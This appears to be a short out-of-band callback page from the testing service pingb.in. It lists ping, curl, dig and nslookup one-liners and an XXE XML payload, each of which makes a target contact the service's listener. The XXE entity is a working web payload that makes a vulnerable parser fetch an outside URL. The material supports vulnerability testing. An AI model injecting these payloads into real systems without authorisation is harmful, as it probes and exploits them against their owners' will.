$ ping -c1 -p 00362fafe71d894b17a2133140a85700 pingb.in
 
$ curl pingb.in/p/362fafe71d894b17a2133140a857
 
$ dig 362fafe71d894b17a2133140a857 @pingb.in
 
$ dig 362fafe71d894b17a2133140a857.ns.pingb.in
 
C:\> nslookup 362fafe71d894b17a2133140a857 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/362fafe71d894b17a2133140a857">]>
    <foo>&xxe;</foo>
 
Waiting for ping...